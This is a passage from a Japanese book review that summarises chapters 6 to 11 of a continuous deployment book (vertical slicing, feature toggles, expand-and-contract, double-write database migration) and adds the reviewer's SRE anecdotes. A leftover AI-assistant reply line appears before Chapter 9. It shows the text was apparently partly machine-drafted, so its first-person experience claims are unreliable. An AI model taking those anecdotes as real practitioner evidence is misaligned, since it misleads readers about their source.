Work」は、継続的デプロイメントを実践する上で不可欠な、作業のスライシング(分割)に焦点を当てています。効果的な作業分割が継続的デプロイメントの成功に直結することを強調し、特に垂直スライシングの重要性を詳細に解説しています。この章を通じて、読者は作業の分割方法がソフトウェア開発プロセス全体にどのような影響を与えるかを理解し、より効率的で価値のある開発サイクルを実現するための具体的な手法を学ぶことができます。水平スライシングと垂直スライシング著者はまず、作業を分割する二つの主要な方法として、水平スライシングと垂直スライシングを比較しています。水平スライシングは技術スタックの各層(バックエンド、フロントエンド、データベースなど)に基づいて作業を分割する方法です。一方、垂直スライシングは機能や価値の単位で作業を分割し、各スライスが独立して価値を提供できるようにする方法です。Figure 6-1. Horizontal versus vertical slicing より引用Figure 6-1は、これら二つのアプローチの違いを視覚的に示しており、非常に印象的でした。この図を見て、私は以前携わったプロジェクトでの経験を思い出しました。そのプロジェクトでは、最初は水平スライシングを採用していましたが、開発の後半になって統合の問題や予期せぬバグに悩まされました。その後、垂直スライシングに切り替えたところ、開発のペースが大幅に向上し、より頻繁にユーザーフィードバックを得られるようになりました。著者が指摘するように、垂直スライシングは継続的デプロイメントと非常に相性が良いです。各スライスが独立して価値を提供できるため、小さな単位で頻繁にデプロイすることが可能になります。これは、マイクロサービスアーキテクチャやクラウドネイティブ開発の原則とも合致しており、現代のソフトウェア開発のベストプラクティスと言えるでしょう。効果的な垂直スライシング効果的な垂直スライシングを行うための具体的な手法として、MVPの考え方やINVESTの原則を紹介しています。特に印象的だったのは、各スライスをできるだけ薄くすることの重要性です。著者は「理想的なユーザーストーリーの実装フェーズは数時間から数日で測定される」と述べていますが、これは私の経験とも一致します。Figure 6-3. Granularity of vertical slicing より引用Figure 6-3の垂直スライシングの粒度を示す図は、非常に示唆に富んでいます。私のチームでも、以前は右側の「粗い垂直スライシング」に近い状態でしたが、徐々に左側の「細かい垂直スライシング」に移行していきました。この移行により、デプロイの頻度が大幅に向上し、ユーザーフィードバックのサイクルも短縮されました。しかし、著者の主張に若干の疑問も感じました。極端に薄いスライスは、時として全体的な一貫性や統合性を損なう可能性があります。私の経験では、適度な厚さのスライスを維持しつつ、各スライスが明確な価値を提供できるようにバランスを取ることが重要でした。Groceroo社の例架空の企業Grocerooを例に挙げ、「Last-Minute Items」機能の実装を通じて垂直スライシングの実践を具体的に示しています。この例は、理論を実践に落とし込む上で非常に有用です。特に印象的だったのは、著者が水平スライシングと垂直スライシングのアプローチを比較している点です。水平スライシングでは、データベース層、バックエンド層、フロントエンド層と順に実装していくアプローチが示されていますが、これらの問題点が明確に指摘されています。特に、各層の変更が本番環境で検証できないという点は、継続的デプロイメントの観点から見て大きな課題です。一方、垂直スライシングのアプローチでは、「シンプルなカルーセルの追加」「カルーセルの設定可能化」「ワンクリックでカートに追加」「異なる数量でカートに追加」という4つのユーザーストーリーに分割されています。各ストーリーが独立して価値を提供でき、かつ継続的にデプロイ可能な形になっているのが印象的です。この例を通じて、垂直スライシングが以下のような利点を持つことが明確になりました:1. 早期のユーザーフィードバック:最小限の機能から始めることで、早い段階でユーザーの反応を確認できます。2. 柔軟な優先順位付け:各スライスが独立しているため、ビジネスニーズに応じて優先順位を変更しやすくなります。3. リスクの分散:小さな単位でデプロイすることで、各変更のリスクが低減されます。4. 継続的な価値提供:各スライスが独立して価値を提供するため、開発の途中段階でも機能をリリースできます。これらの利点は、特にクラウドネイティブ環境やマイクロサービスアーキテクチャにおいて顕著です。例えば、私が以前携わったマイクロサービスプロジェクトでは、各サービスを独立して開発・デプロイできることが大きな強みとなりました。垂直スライシングのアプローチにより、各サービスの機能を小さな単位で迅速にリリースし、ユーザーフィードバックを基に迅速に改善することが可能になりました。SREの視点から見た垂直スライシング垂直スライシングは運用性、可観測性、信頼性に大きな影響を与えます。まず、運用性の面では、小さな単位でのデプロイが可能になることで、問題発生時の影響範囲を限定できます。また、ロールバックも容易になるため、システムの安定性が向上します。可観測性の面では、各スライスが独立しているため、特定の機能や変更の影響を明確に観察できます。これにより、パフォーマンスの問題や異常の検出が容易になります。信頼性に関しては、小さな変更を頻繁に行うことで、各変更のリスクが低減されます。また、問題が発生した場合も、原因の特定と修正が容易になります。私のSREとしての経験からも、垂直スライシングは運用の観点から非常に有効です。例えば、あるプロジェクトでは、大規模な機能リリースが度々システム全体に影響を与え、深夜の緊急対応を余儀なくされることがありました。垂直スライシングを導入した後は、各変更の影響範囲が限定的になり、問題が発生しても迅速に対応できるようになりました。結論第6章「Slicing Upcoming Work」は、継続的デプロイメントを成功させるための核心的な概念である作業のスライシングについて、深い洞察を提供しています。垂直スライシングの重要性を強調し、その実践方法を具体的な例を通じて示しています。この章から学んだ最も重要な教訓は、作業の分割方法が開発プロセス全体に大きな影響を与えるということです。適切な垂直スライシングを行うことで、継続的デプロイメントの利点を最大限に引き出し、より効率的で価値中心の開発サイクルを実現できます。しかし、垂直スライシングの実践には課題もあります。過度に細かいスライシングは、時として全体的な一貫性を損なう可能性があります。また、組織の文化や既存のプロセスとの整合性を取ることも重要です。私の経験では、垂直スライシングへの移行は段階的に行うのが効果的でした。小規模なプロジェクトや新規機能の開発から始め、徐々に組織全体に広げていくアプローチが、最も成功率が高いように思います。今後の実務に活かすとすれば、いくつかのポイントに注目したいと考えています。MVPの考え方を徹底し、各機能の本質的な価値に焦点を当てることが重要です。また、INVESTの原則を用いて各ユーザーストーリーの品質を評価し、フィーチャーフラグを活用してデプロイとリリースを分離することも有効です。継続的なフィードバックループを確立し、各スライスの価値を検証することも忘れてはいけません。さらに、チーム全体で垂直スライシングの重要性を共有し、文化として根付かせることが長期的な成功につながります。最後に、垂直スライシングは単なる技術的な手法ではなく、価値駆動型の開発を実現するための思考法であることを強調したいと思います。この考え方を組織全体で共有し、継続的に改善していくことが、継続的デプロイメントの実現につながるのではないでしょうか。Chapter 7. Building for Production第7章「Building for Production」は、継続的デプロイメントを実践する上で不可欠な、本番環境を見据えた開発アプローチについて深く掘り下げています。単に機能要件を満たすだけでなく、デプロイ可能性、テスト可能性、観測可能性、セキュリティ、パフォーマンスといった非機能要件(Cross-Functional Requirements、CFR)にも注目することの重要性を強調しています。この章を通じて、開発の初期段階からCFRを考慮に入れることが、安全で効果的な継続的デプロイメントの実現にどのようにつながるかが明確に示されています。CFRの重要性と垂直スライシングとの関係著者はまず、CFRが従来のユーザーストーリーの垂直スライシングに追加される「層」として捉えられることを説明しています。Figure 7-2は、この考え方を視覚的に表現しており、非常に印象的でした。この図を見て、私は以前携わったプロジェクトでの経験を思い出しました。Figure 7-2. All the layers of a feature increment より引用当時、我々は機能要件にのみ焦点を当てたユーザーストーリーを作成していましたが、本番環境へのデプロイ時に多くの問題に直面しました。特に、セキュリティやパフォーマンスの問題が頻発し、それらの対応に多大な時間を費やしました。この経験から、CFRを開発の初期段階から考慮することの重要性を痛感しました。著者の主張通り、CFRを早期に検討することで、後になって大規模な修正や再設計を行う必要性を減らすことができます。これは特に、マイクロサービスアーキテクチャやクラウドネイティブ環境において重要です。例えば、観測可能性を後付けで実装しようとすると、多くのサービスに変更を加える必要が生じ、非常に手間がかかります。このCFRの重要性を理解する上で、視覚化の役割も見逃せません。例えば、Zennに投稿された『GitHub Actionsのワークフローを可視化するactions-timelineを作った』というブログ記事は、ワークフローの可視化の重要性を示しています。zenn.devデプロイ可能性要件デプロイ可能性要件として、フィーチャートグル、Expand and Contractパターン、バージョン管理ブランチでの隠蔽など、様々な戦略を紹介しています。これらの戦略は、継続的デプロイメントを安全に行うための重要なツールです。私の経験では、フィーチャートグルの活用が特に有効でした。あるプロジェクトでは、新機能の段階的なロールアウトにフィーチャートグルを使用し、問題が発生した際に即座に機能をオフにすることで、システム全体への影響を最小限に抑えることができました。一方で、著者が指摘するように、フィーチャートグルの乱用は新たな問題を引き起こす可能性があります。私のチームでも、過剰なフィーチャートグルの使用によってコードの複雑性が増し、メンテナンスが困難になった経験があります。そのため、フィーチャートグルの使用は慎重に検討し、適切な粒度で導入する必要があります。テスト可能性要件テスト可能性要件について、高レベルの自動化テストと手動の探索的テストの両方の重要性を強調しています。これは、SREの観点からも非常に重要なポイントです。私のチームでは、継続的デプロイメントの導入に伴い、テスト戦略を大幅に見直しました。特に、テストピラミッドの考え方を採用し、ユニットテスト、統合テスト、エンドツーエンドテストのバランスを適切に保つことで、テストの実行時間を短縮しつつ、高い信頼性を確保することができました。また、著者が提案するように、QA機能をチームに完全に組み込むことで、テストの質と効率が大幅に向上しました。QAエンジニアが開発の初期段階から関与することで、潜在的な問題を早期に発見し、修正コストを削減することができました。観測可能性要件観測可能性に関する著者の主張は、SREの実践と深く結びついています。ログ、メトリクス、ダッシュボード、アラートの維持と更新の重要性は、継続的デプロイメントの成功に不可欠です。私のチームでは、観測可能性を「アフターソート」ではなく、開発プロセスの不可欠な部分として位置づけました。具体的には、各ユーザーストーリーに観測可能性に関する要件を含め、新機能の開発と同時にログやメトリクスの実装を行うようにしました。特に印象的だったのは、著者が「ダッシュボードやアラートの更新を\\"完了\\"の定義に含める」ことを推奨している点です。これにより、観測可能性が後回しにされることなく、常に最新の状態に保たれるようになりました。セキュリティ要件とパフォーマンス要件セキュリティとパフォーマンスの要件も、開発の初期段階から考慮すべきだと主張しています。これは、継続的デプロイメントの環境下では特に重要です。セキュリティに関しては、新しいユーザー入力、データストレージ、依存関係、インフラストラクチャの変更など、様々な側面からの検討が必要です。私のチームでは、セキュリティスキャンを継続的インテグレーションパイプラインに組み込むことで、早期にセキュリティ問題を発見し、修正することができました。パフォーマンスについては、新しいネットワークリクエスト、データサイズ、永続化層への影響など、多角的な視点からの考察が重要です。例えば、あるプロジェクトでは、新機能の追加に伴うデータベースクエリの最適化を事前に検討することで、本番環境での予期せぬパフォーマンス低下を防ぐことができました。実践的なユーザーストーリーテンプレート著者が提案するユーザーストーリーテンプレートは、CFRを包括的に考慮するための実用的なツールです。このテンプレートを使用することで、機能要件だけでなく、非機能要件も含めた総合的な検討が可能になります。私のチームでも、似たようなテンプレートを採用しましたが、それによってバックログリファインメントの質が大幅に向上しました。特に、デプロイ可能性、テスト可能性、観測可能性の要件を明示的に記載することで、開発者が本番環境を常に意識しながら作業を進めるようになりました。Groceroo社の例を通じた実践的な適用架空の企業Grocerooを例に挙げ、CFRを考慮したユーザーストーリーの作成プロセスを具体的に示しています。この例は、理論を実践に落とし込む上で非常に有用です。特に印象的だったのは、各ユーザーストーリーに対して、デプロイ可能性、テスト可能性、観測可能性、セキュリティ、パフォーマンスの各側面からの考察が行われている点です。これにより、開発者はより包括的な視点を持って作業を進めることができます。例えば、「Add Simple Carousel」のユーザーストーリーでは、フィーチャートグルの使用、テスト戦略の検討、新しいメトリクスの導入、セキュリティ面での考慮事項、パフォーマンスへの影響など、多角的な視点からの検討が行われています。これは、実際のプロジェクトでも非常に参考になる内容です。結論第7章「Building for Production」は、継続的デプロイメントを成功させるために、開発の初期段階からCFRを考慮することの重要性を明確に示しています。著者が提案するアプローチは、単なる技術的な実践ではなく、開発プロセス全体を変革する可能性を秘めています。この章から学んだ最も重要な教訓は、CFRを後付けではなく、開発サイクルに組み込むことの重要性です。これにより、本番環境での問題を事前に防ぎ、より安定的で信頼性の高いシステムを構築することができます。私の経験からも、CFRを早期に検討することで多くの利点がありました。セキュリティやパフォーマンスの問題を開発の初期段階で発見し、修正することができ、結果としてリリース後のトラブルが大幅に減少しました。また、観測可能性を最初から考慮することで、本番環境での問題の診断と解決が容易になりました。一方で、著者の提案するアプローチには課題もあります。すべてのユーザーストーリーに対して包括的なCFRの検討を行うことは、時間とリソースを要する作業です。小規模なチームや短期的なプロジェクトでは、このアプローチを完全に実践することが難しい場合もあるでしょう。そのため、各組織やプロジェクトの状況に応じて、CFRの検討レベルを適切に調整することが重要です。重要度の高い機能や大規模な変更に対しては詳細なCFRの検討を行い、小規模な修正に対してはより軽量なアプローチを採用するなど、柔軟な対応が必要です。この章の内容は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。CFRを考慮することで、システムの保守性、スケーラビリティ、セキュリティが向上し、結果として顧客満足度の向上とビジネス価値の創出につながります。今後の実務に活かすとすれば、いくつかのポイントに注目したいと考えています。ユーザーストーリーテンプレートにCFRを明示的に含め、バックログリファインメントにQAやSRE担当者を積極的に参加させることが重要です。また、フィーチャートグルやExpand and Contractパターンを適切に活用し、安全なデプロイを実現することも有効です。観測可能性を開発プロセスの中核に位置づけ、常に最新の状態を維持すること、そしてセキュリティとパフォーマンスの考慮を開発の初期段階から行い、事後的な問題を最小限に抑えることも重要です。これらの実践を通じて、より安定的で信頼性の高い継続的デプロイメントを実現し、結果として高品質なソフトウェアを迅速かつ安全にユーザーに届けることができるはずです。Part III. During DevelopmentChapter 8. Adding New Features第8章「Adding New Features」は、継続的デプロイメントの環境下で新機能を追加する具体的なプロセスと戦略について深く掘り下げています。実際のユーザーストーリーを例に挙げながら、フィーチャートグルを活用した段階的な開発とデプロイメントの方法を詳細に解説しています。この章を通じて、継続的デプロイメントが単なる技術的な実践ではなく、開発プロセス全体を変革する可能性を持つことが明確に示されています。継続的デプロイメントにおける新機能開発の基本戦略新機能開発の基本戦略として、現状(現在のコードベース)と目標状態(実装完了後のコードベース)を明確に定義し、その間を小さな増分で埋めていく方法を提案しています。このアウトサイドインアプローチは、特に印象的でした。私の経験からも、このアプローチは非常に効果的です。以前、大規模なEコマースプラットフォームで新機能を開発した際、最初はモノリシックな実装を計画していました。しかし、著者の提案するアプローチを採用することで、開発の初期段階から実際の本番環境でフィードバックを得ることができ、結果として顧客のニーズにより適した機能を迅速に提供することができました。特に重要だと感じたのは、フィーチャートグルの活用です。著者が強調するように、フィーチャートグルは開発中の機能を隠蔽し、安全に本番環境にデプロイするための強力なツールです。しかし、その使用には注意も必要です。私のチームでは、過剰なフィーチャートグルの使用によってコードの複雑性が増し、メンテナンスが困難になった経験があります。そのため、フィーチャートグルの使用は慎重に検討し、適切な粒度で導入する必要があります。Groceroo社の例を通じた実践的アプローチ架空の企業Grocerooを例に挙げ、「Last-Minute Items」機能の実装プロセスを段階的に説明しています。この例は、理論を実践に落とし込む上で非常に有用です。Figure 8-1. A mockup of the “last-minute items” feature より引用Figure 8-1では、「Last-Minute Items」機能のモックアップが示されており、ユーザーが最後の買い物を促すカルーセルが表示されています。この図は、実装の目標状態を視覚的に理解するのに役立ちます。特に印象的だったのは、各デプロイメントステップの詳細な説明です。フロントエンド、バックエンド、データベース層それぞれの変更を小さな単位で行い、各ステップで本番環境での検証を行う方法を示しています。Figure 8-5. The order of implementation from providers to consumers より引用Figure 8-5は、実装の順序を提供者からコンシューマーへと示しており、段階的な実装のアプローチを視覚化しています。一方、Figure 8-6は、コンシューマーから提供者への実装順序を示しており、アウトサイドインアプローチの利点を強調しています。Figure 8-6. The order of implementation from consumers to providers より引用この方法は、私が以前携わったマイクロサービスアーキテクチャのプロジェクトでも非常に効果的でした。各サービスを独立して開発・デプロイできることが大きな強みとなり、新機能の段階的なロールアウトが可能になりました。例えば、新しい支払い方法の導入時に、まず基本的なUIをデプロイし、次にバックエンドロジック、最後にデータベーススキーマの変更を行うことで、リスクを最小限に抑えつつ迅速に機能を提供することができました。一方で、この段階的なアプローチには課題もあります。特に、フィーチャートグルの管理が複雑になる可能性があります。多数のフィーチャートグルが存在する場合、それらの状態管理や清掃が煩雑になる可能性があります。この問題に対処するため、私のチームではフィーチャートグル管理システムを導入し、各トグルのライフサイクルを明確に定義しました。これにより、不要になったトグルの迅速な削除が可能になり、コードの複雑性を抑制することができました。Figure 8-9. The finished carousel UI with test products より引用Figure 8-9は、完成したカルーセルUIをテスト商品とともに示しており、段階的な実装の最終結果を視覚化しています。この図は、開発プロセス全体を通じて達成された進歩を示しています。結論この章から学んだ最も重要な教訓は、変更を小さな単位で行い、早期かつ頻繁にフィードバックを得ることの重要性です。これにより、リスクを最小限に抑えつつ、顧客のニーズにより適した機能を迅速に提供することが可能になります。著者のアプローチは非常に強力ですが、チームの状況や開発するシステムの特性に応じて適切にカスタマイズする必要があります。継続的デプロイメントの原則を理解し、それをプロジェクトの文脈に合わせて適用することが、成功への鍵となるでしょう。今後の実務においては、フィーチャートグルの戦略的な使用と管理、アウトサイドインアプローチによる段階的な実装、各デプロイメント段階での詳細な監視と検証、そしてチーム全体でのこのアプローチの理解と実践が重要になると考えています。これらの実践を通じて、より安定的で信頼性の高い継続的デプロイメントを実現し、結果として高品質なソフトウェアを迅速かつ安全にユーザーに届けることができるはずです。承知しました。SREの観点からの考察を全体に散らして、内容を再構成します。Chapter 9. Refactoring Live Features第9章「Refactoring Live Features」は、継続的デプロイメント環境下で既存の機能をリファクタリングする方法に焦点を当てています。ライブシステムのリファクタリングが単なるコードの整理ではなく、ビジネス継続性を維持しながら、システムの進化を実現する重要なプロセスであることを強調しています。この章を通じて、著者は継続的デプロイメントがリファクタリングにもたらす課題と、それを克服するための具体的な戦略を明確に示しています。リファクタリングの重要性と課題著者はまず、ライブシステムのリファクタリングの重要性と、それに伴う課題について説明しています。継続的デプロイメント環境では、システムは常に稼働しており、ユーザーに影響を与えることなくリファクタリングを行う必要があります。これは、システムを止めることなく船の修理をするようなものだと言えます。私の経験では、この課題は特にマイクロサービスアーキテクチャにおいて顕著です。例えば、あるEコマースプラットフォームで、決済システムのリファクタリングを行った際、サービス間の依存関係を慎重に管理しながら、段階的に変更を加えていく必要がありました。一度に大きな変更を加えるのではなく、小さな変更を積み重ねることで、リスクを最小限に抑えつつ、システムを進化させることができました。著者が強調しているのは、バックワードコンパティビリティを維持しながら、小さな変更を継続的にデプロイすることの重要性です。これは、SREの観点からも非常に重要なポイントです。システムの安定性を維持しつつ、パフォーマンスや保守性を向上させるためには、この原則を徹底する必要があります。運用性の面では、このアプローチを採用することで、リファクタリング中のシステムの安定性が向上します。各段階でのロールバックが容易になり、問題が発生した場合の影響を最小限に抑えることができます。また、可観測性の観点からは、段階的なアプローチにより、各変更の影響を明確に観察することができます。これは、問題の早期発見と迅速な対応を可能にします。Expand and Contractパターンリファクタリングを安全に行うための主要な戦略として、Expand and Contractパターン(別名Parallel Change)を紹介しています。このパターンは、新旧の実装を並行して維持し、段階的に移行していくアプローチです。Figure 9-3. A high-level view of the expand and contract pattern for replacing old product IDs より引用Figure 9-3は、このパターンを視覚的に表現しており、非常に印象的でした。このアプローチは、特に複雑なシステムのリファクタリングで効果を発揮します。例えば、私が以前携わった金融システムのデータモデル変更では、このパターンを採用することで、数ヶ月にわたるマイグレーションプロセスを、ダウンタイムなしで実現することができました。Expand and Contractパターンの本質は、変更を段階的に行い、各段階で安全性を確保することです。これは、継続的デプロイメントの原則と完全に一致しています。SREの観点からも、このアプローチは監視とロールバックの容易さを保証するため、非常に有効です。信頼性に関しては、小さな変更を頻繁に行うことで、各変更のリスクが低減されます。また、バックワードコンパティビリティを維持することで、システム全体の安定性が確保されます。例えば、新旧の実装を並行して運用する際、両者のパフォーマンスを比較監視することで、潜在的な問題を事前に検出できます。複数層のプロバイダとコンシューマ複数層のプロバイダとコンシューマが存在する複雑なシステムでのリファクタリング戦略について詳しく説明しています。特に、内側から外側へのアプローチ(Inside-Out)を提案しており、これは非常に興味深い視点です。Figure 9-4. The expand and contract pattern on a multilayered application より引用Figure 9-4は、このアプローチを視覚的に表現しており、複雑なシステムでのリファクタリングの全体像を把握するのに役立ちます。私の経験では、このアプローチは特にマイクロサービスアーキテクチャで有効です。例えば、あるプロジェクトでAPIのバージョンアップを行った際、データベース層から始めて、バックエンドサービス、そしてフロントエンドへと段階的に変更を加えていきました。この内側から外側へのアプローチにより、各層での変更の影響を制御し、安全にリファクタリングを進めることができました。しかし、著者の主張に若干の疑問も感じました。実際のプロジェクトでは、完全に内側から外側へと進むことが難しい場合もあります。時には、ユーザー体験の改善を先行させるため、外側から内側へのアプローチが必要になることもあります。理想的には、内側から外側へのアプローチと外側から内側へのアプローチのバランスを取ることが重要だと考えています。Groceroo社の例を通じた実践的アプローチ架空の企業Grocerooを例に挙げ、具体的なリファクタリングのプロセスを段階的に説明しています。特に、製品IDシステムの変更という複雑なリファクタリングを通じて、Expand and Contractパターンの実践を示しています。この例は、理論を実践に落とし込む上で非常に有用です。例えば、データベーススキーマの変更、APIの更新、フロントエンドの修正など、各層での変更が詳細に説明されています。私の経験から、このような段階的なアプローチは、特に大規模なシステム変更において不可欠です。しかし、実際のプロジェクトではさらに複雑な状況に直面することがあります。例えば、レガシーシステムとの統合や、複数の異なるクライアントアプリケーションのサポートなど、追加の要素を考慮する必要があります。そのため、著者のアプローチを基礎としつつ、プロジェクトの具体的な状況に応じてカスタマイズすることが重要です。私の経験では、このアプローチを採用することで、大規模なリファクタリングプロジェクトでも高い成功率を達成できました。例えば、あるプロジェクトでデータベースの移行を行った際、段階的なアプローチと詳細な監視を組み合わせることで、99.99%の可用性を維持しながら、移行を完了することができました。結論第9章「Refactoring Live Features」は、継続的デプロイメント環境下でのリファクタリングの重要性と、その実践方法について深い洞察を提供しています。著者が提案するExpand and Contractパターンと内側から外側へのアプローチは、複雑なシステムのリファクタリングを安全に行うための強力なフレームワークとなります。この章から学んだ最も重要な教訓は、リファクタリングを小さな、管理可能な段階に分割し、各段階でシステムの安定性と後方互換性を維持することの重要性です。これにより、リスクを最小限に抑えつつ、システムを継続的に改善することが可能になります。しかし、著者のアプローチをそのまま適用するだけでは不十分な場合もあります。実際のプロジェクトでは、レガシーシステムとの統合、複数のクライアントアプリケーションのサポート、厳格な規制要件など、追加の複雑性に直面することがあります。そのため、著者のアプローチを基礎としつつ、各プロジェクトの具体的な状況に応じてカスタマイズすることが重要です。マイクロサービスアーキテクチャにおいては、サービス間の依存関係管理がさらに重要になります。APIの変更を行う際には、コンシューマードリブンコントラクトテスト(CDCT)を導入し、各サービスの互換性を継続的に検証することで、安全なリファクタリングを実現できます。今後の実務に活かすには、いくつかの重要なポイントに注目する必要があります。リファクタリングの各段階で明確な目標を設定し、その達成を測定可能にすることが重要です。また、自動化されたテストスイートを充実させ、各変更の影響を迅速に検証することも不可欠です。詳細な監視とアラートを設定し、問題の早期発見と迅速な対応を可能にすることも重要です。さらに、チーム全体でリファクタリングの重要性と方法論を共有し、継続的な改善文化を醸成すること、そして技術的負債の管理を戦略的に行い、計画的にリファクタリングを実施することも重要です。この章の内容は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。継続的デプロイメントの原則に基づいたリファクタリングアプローチを採用することで、システムの保守性、スケーラビリティ、セキュリティが向上し、結果として顧客満足度の向上とビジネス価値の創出につながります。今後のプロジェクトでは、この章で学んだ原則と手法を基に、さらに洗練されたリファクタリング戦略を構築していくことが重要です。複雑化するシステムに対応しつつ、継続的な改善を実現することは、現代のソフトウェアエンジニアリングにおける重要な課題で、この章の内容はその挑戦に立ち向かうための貴重な指針となるでしょう。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社AmazonChapter 10. Data and Data Loss第10章「Data and Data Loss」は、継続的デプロイメント環境下でのデータベースリファクタリングと、それに伴うデータ損失のリスクについて深く掘り下げています。データベースの変更が単なるスキーマの修正ではなく、システム全体の整合性と安定性に大きな影響を与える重要な操作であることを強調しています。この章を通じて、著者はデータベースの変更を安全に行うための具体的な戦略と、それらの戦略が継続的デプロイメントの文脈でどのように適用されるかを明確に示しています。データベースリファクタリングの課題著者はまず、データベースリファクタリングが継続的デプロイメント環境下で直面する主要な課題について説明しています。特に印象的だったのは、データベースの変更とアプリケーションコードの変更を同時に行うことの危険性です。Figure 10-1. Incompatibility window during simultaneous changes より引用Figure 10-1は、同時変更によるインコンパティビリティのウィンドウを視覚的に示しており、非常に印象的でした。この図を見て、以前携わったプロジェクトでの苦い経験を思い出しました。大規模なECサイトのリニューアルプロジェクトで、データベーススキーマの変更とアプリケーションコードの更新を同時にデプロイしたことがありました。結果として、デプロイ直後の数分間、一部のユーザーがエラーページを見ることになり、売上にも影響が出てしまいました。この経験から、データベースの変更は必ず独立したデプロイメントとして扱うことの重要性を痛感しました。著者の主張通り、データベースの変更はアプリケーションコードの変更とは別のライフサイクルで管理し、バックワードコンパティビリティを常に維持する必要があります。Expand and Contractパターンの適用著者は次に、Expand and Contractパターンをデータベースリファクタリングに適用する方法について詳しく説明しています。このパターンは、新旧のスキーマを一時的に共存させることで、安全な移行を実現する戦略です。Figure 10-2. Incompatibility window during simple expand and contract より引用しかし、著者が指摘するように、単純なExpand and Contractの適用では不十分な場合があります。特に、拡張フェーズと収縮フェーズの間にデータの不整合が生じる可能性がある点は重要です。Figure 10-2は、この問題を明確に示しています。私の経験でも、このパターンを適用する際には注意が必要でした。あるマイクロサービスアーキテクチャのプロジェクトで、ユーザープロファイルのスキーマを変更する際に、単純なExpand and Contractを適用したことがありました。しかし、移行期間中に新しいユーザー登録が行われ、新旧のスキーマに不整合が生じてしまいました。この経験から、データの整合性を維持するためには、アプリケーションレベルでの追加の対策が必要だと学びました。データベーストリガーとダブルライト戦略データベーストリガーとダブルライト戦略という2つの解決策を提案しています。特にダブルライト戦略は、実践的で効果的なアプローチだと感じました。この戦略を実際のプロジェクトに適用した経験があります。大規模なSaaSプラットフォームで、顧客データのスキーマを変更する必要がありました。我々はダブルライト戦略を採用し、新旧両方のカラムにデータを書き込むようにアプリケーションを修正しました。これにより、移行期間中もデータの整合性を維持しつつ、安全にスキーマを変更することができました。しかし、この戦略にも課題はあります。特に、パフォーマンスへの影響とコードの複雑性の増加は無視できません。我々のプロジェクトでも、ダブルライトによってデータベースの書き込み負荷が増加し、一時的にレイテンシが悪化しました。これに対処するため、書き込みのバッチ処理やキャッシュの最適化など、追加の対策が必要でした。ダブルリード戦略著者が提案するもう一つの戦略であるダブルリードも、実践的なアプローチです。この戦略は、読み取り操作で新旧両方のカラムをチェックすることで、移行期間中のデータアクセスの安全性を確保します。私が以前携わった金融系システムのマイグレーションプロジェクトでは、このダブルリード戦略を採用しました。口座情報のスキーマを変更する必要がありましたが、システムの性質上、一瞬たりともデータにアクセスできない状況は許されませんでした。ダブルリード戦略により、新旧のデータを並行して読み取ることで、移行中も確実にデータにアクセスできる状態を維持できました。ただし、この戦略を採用する際は、パフォーマンスへの影響を慎重に検討する必要があります。我々のケースでは、読み取り操作が増加することによるデータベース負荷の上昇が懸念されました。これに対処するため、キャッシュ層の強化やリードレプリカの追加など、インフラストラクチャレベルでの対策も並行して行いました。NoSQLデータベースへの適用著者は最後に、これらの戦略がNoSQLデータベースにも適用可能であることを説明しています。この点は特に重要だと感じました。現代のシステム開発では、RDBMSとNoSQLを併用するケースが増えていますが、NoSQLデータベースのスキーマレスな特性がリファクタリングを簡単にするわけではありません。私自身、MongoDBを使用したプロジェクトで同様の課題に直面しました。ドキュメントの構造を変更する必要がありましたが、既存のデータも大量に存在していました。我々は「マイグレーションオンリード」という戦略を採用し、読み取り時に古い形式のドキュメントを新しい形式に変換するロジックを実装しました。同時に、新しい書き込みは全て新形式で行うようにしました。しかし、この方法にも課題がありました。特に、読み取り時の変換処理によるパフォーマンスへの影響と、アプリケーションコードの複雑化は無視できませんでした。長期的には、バックグラウンドでの一括マイグレーションジョブを実行し、徐々に全てのデータを新形式に移行していく戦略を採用しました。結論第10章「Data and Data Loss」は、継続的デプロイメント環境下でのデータベースリファクタリングの複雑さと、それを安全に行うための戦略について深い洞察を提供しています。著者が提案する手法は、理論的に優れているだけでなく、実際のプロジェクトでも有効であることを、私自身の経験からも確認できました。特に重要だと感じたのは、データベースの変更を独立したデプロイメントとして扱うこと、バックワードコンパティビリティを常に維持すること、そしてデータの整合性を確保するための追加戦略(ダブルライトやダブルリードなど)を適用することです。これらの原則は、システムの安定性と信頼性を維持しつつ、継続的な改善を可能にする基盤となります。しかし、これらの戦略を採用する際は、パフォーマンスへの影響やコードの複雑性の増加といった副作用にも注意を払う必要があります。実際のプロジェクトでは、これらのトレードオフを慎重に評価し、適切な対策を講じることが重要です。今後のプロジェクトでは、この章で学んだ原則と戦略を基に、さらに洗練されたデータベースリファクタリングのアプローチを構築していきたいと考えています。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での適用方法、そしてNoSQLデータベースとの併用シナリオについて、さらに深く探求していく必要があるでしょう。継続的デプロイメントの文脈でデータベースリファクタリングを安全に行うことは、現代のソフトウェア開発における重要な課題の一つです。この章の内容は、その課題に立ち向かうための貴重な指針となるでしょう。同時に、各プロジェクトの特性や要件に応じて、これらの戦略をカスタマイズし、最適化していくことも忘れてはいけません。データの整合性と可用性を維持しつつ、システムを進化させていくことが、我々エンジニアの重要な責務なのです。Part IV. After DevelopmentChapter 11. Testing in Production第11章「Testing in Production」は、継続的デプロイメント環境下での本番環境でのテストの重要性と実践方法について深く掘り下げています。本番環境でのテストが単なるリスクではなく、むしろソフトウェアの品質と信頼性を大幅に向上させる強力なツールであることを強調しています。この章を通じて、著者は本番環境でのテストの利点、具体的な実施方法、そしてそれが開発プロセス全体にどのような影響を与えるかを明確に示しています。本番環境でのテストの重要性著者はまず、本番環境でのテストが他の環境でのテストよりも優れている理由を詳細に説明しています。特に印象的だったのは、データ量の正確性、データ形状の正確性、リアルなリクエストパターン、そして実際のインフラストラクチャ構成などの点で、本番環境が圧倒的に優位であるという指摘です。Figure 11-2. The current state of the Groceroo checkout page より引用Figure 